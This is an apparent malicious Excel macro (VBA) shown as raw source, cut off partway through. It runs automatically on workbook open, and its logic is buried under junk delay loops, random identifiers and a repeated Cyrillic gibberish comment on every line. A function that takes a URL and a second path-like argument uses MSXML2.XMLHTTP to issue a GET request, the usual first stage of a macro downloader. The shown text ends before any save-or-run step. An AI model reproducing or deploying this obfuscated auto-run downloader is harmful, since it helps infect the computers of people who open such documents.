а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Sub Workbook_Open() 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim MiCPjptG, oVzfxWjc, QpjiylNJ As String 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim URNleUyx As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For URNleUyx = 0 To 5 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim ZtRTfTkD As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи ZtRTfTkD = 9 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While ZtRTfTkD < 94 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: ZtRTfTkD = ZtRTfTkD + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next URNleUyx 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim ZyAJxEeW As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи ZyAJxEeW = 9 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While ZyAJxEeW < 94 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: ZyAJxEeW = ZyAJxEeW + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи MiCPjptG = " DDVYKG " 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim fSggyNjC As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For fSggyNjC = 0 To 7 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim LynMfoBJ As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи LynMfoBJ = 3 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While LynMfoBJ < 96 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: LynMfoBJ = LynMfoBJ + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next fSggyNjC 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim kjtZzlUV As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи kjtZzlUV = 7 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While kjtZzlUV < 47 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: kjtZzlUV = kjtZzlUV + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи oVzfxWjc = LTrim(MiCPjptG) 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim FSFjcFGy As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For FSFjcFGy = 0 To 8 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim CSdXxQaT As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи CSdXxQaT = 3 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While CSdXxQaT < 49 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: CSdXxQaT = CSdXxQaT + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next FSFjcFGy 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim mXKncsJj As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи mXKncsJj = 8 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While mXKncsJj < 82 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: mXKncsJj = mXKncsJj + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи QpjiylNJ = RTrim(oVzfxWjc) 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim ojPIolGX As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For ojPIolGX = 0 To 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim HnSNTzIM As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи HnSNTzIM = 2 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While HnSNTzIM < 37 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: HnSNTzIM = HnSNTzIM + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next ojPIolGX 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim fQkTYZcR As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи fQkTYZcR = 7 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While fQkTYZcR < 79 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: fQkTYZcR = fQkTYZcR + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Auto_Open 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи End Sub 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Function IMUIYYHSENO(ByVal GEDIDDOFCEM As String, ByVal SVSFBJWJRZL As String) As Boolean 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim TJOBKMBJGJF As Object, YPJANLORALH As Long, WTYQSWXVUVO As Long, UKUUBTBDTYD() As Byte 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim xdlDrTDb, mVXbzUlV, YrIZEmxo As String 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim cIyXUNTf As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For cIyXUNTf = 0 To 3 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim fFrErruU As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи fFrErruU = 6 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While fFrErruU < 71 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: fFrErruU = fFrErruU + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next cIyXUNTf 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim jmSVFdGh As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи jmSVFdGh = 7 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While jmSVFdGh < 76 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: jmSVFdGh = jmSVFdGh + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи xdlDrTDb = " OKCEHJ " 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim CIRzSbCK As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For CIRzSbCK = 0 To 4 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim BxRRvnVK As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи BxRRvnVK = 4 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While BxRRvnVK < 75 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: BxRRvnVK = BxRRvnVK + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next CIRzSbCK 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim nfLxGXEc As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи nfLxGXEc = 9 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While nfLxGXEc < 67 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: nfLxGXEc = nfLxGXEc + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи mVXbzUlV = LTrim(xdlDrTDb) 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim QrsvmPDi As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For QrsvmPDi = 0 To 6 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim IxZLNSHQ As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи IxZLNSHQ = 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While IxZLNSHQ < 16 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: IxZLNSHQ = IxZLNSHQ + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next QrsvmPDi 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim pdJQjowj As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи pdJQjowj = 6 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While pdJQjowj < 65 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: pdJQjowj = pdJQjowj + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи YrIZEmxo = RTrim(mVXbzUlV) 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim TFNYYJGI As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For TFNYYJGI = 0 To 5 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim IcmvDWeG As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи IcmvDWeG = 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While IcmvDWeG < 17 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: IcmvDWeG = IcmvDWeG + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next TFNYYJGI 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim pgPjrjIm As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи pgPjrjIm = 6 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While pgPjrjIm < 65 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: pgPjrjIm = pgPjrjIm + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Set TJOBKMBJGJF = CreateObject("MSXML2.XMLHTTP") 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи TJOBKMBJGJF.Open "GET", GEDIDDOFCEM, False 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim UhXsCliE, EjyckcTR, vjjPSAeT As String 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim BZzchwdR As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For BZzchwdR = 0 To 5 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim olhHRWIi As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи olhHRWIi = 6 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While olhHRWIi < 28 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: olhHRWIi = olhHRWIi + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next BZzchwdR 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim EzJFiQEw As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи EzJFiQEw = 9 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While EzJFiQEw < 65 